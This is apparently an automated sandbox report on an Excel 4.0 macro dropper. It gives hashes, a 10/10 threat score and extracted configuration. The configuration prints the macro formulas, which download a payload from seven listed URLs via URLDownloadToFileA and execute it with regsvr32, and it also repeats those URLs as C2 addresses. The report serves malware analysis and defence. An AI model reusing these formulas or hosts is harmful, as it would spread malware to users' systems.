General

  • Target

    4ab1bd8aa6c310403cc1889392b166feda68e6d0e1494b85b51321c19d6ac383

  • Size

    35KB

  • Sample

    241111-vjt19svpfk

  • MD5

    ee33378bb338cba139121a33bd0758d5

  • SHA1

    563da4ab944811ff53d3e4c7a6c7e3aa186990a8

  • SHA256

    4ab1bd8aa6c310403cc1889392b166feda68e6d0e1494b85b51321c19d6ac383

  • SHA512

    9ec17532e464b1c96af97abf6f9126bccf206fc75bead7f51d834088178a563bd292a8b08d0bcc447f93a3edcaf8b369275ec70c3634322e56947337acec8494

  • SSDEEP

    768:xsmn9tnd5euAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooofS:xFtndguUOZZ1ZYpoQ/pMA6Kt

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/

https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/

https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/

https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/

https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/

https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/

https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/

xlm40.dropper

https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/

xlm40.dropper

https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/

xlm40.dropper

https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/

xlm40.dropper

https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/

xlm40.dropper

https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/

xlm40.dropper

https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/

xlm40.dropper

https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/

xlm40.dropper

https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/

Targets

    • Target

      4ab1bd8aa6c310403cc1889392b166feda68e6d0e1494b85b51321c19d6ac383

    • Size

      35KB

    • MD5

      ee33378bb338cba139121a33bd0758d5

    • SHA1

      563da4ab944811ff53d3e4c7a6c7e3aa186990a8

    • SHA256

      4ab1bd8aa6c310403cc1889392b166feda68e6d0e1494b85b51321c19d6ac383

    • SHA512

      9ec17532e464b1c96af97abf6f9126bccf206fc75bead7f51d834088178a563bd292a8b08d0bcc447f93a3edcaf8b369275ec70c3634322e56947337acec8494

    • SSDEEP

      768:xsmn9tnd5euAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooofS:xFtndguUOZZ1ZYpoQ/pMA6Kt

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks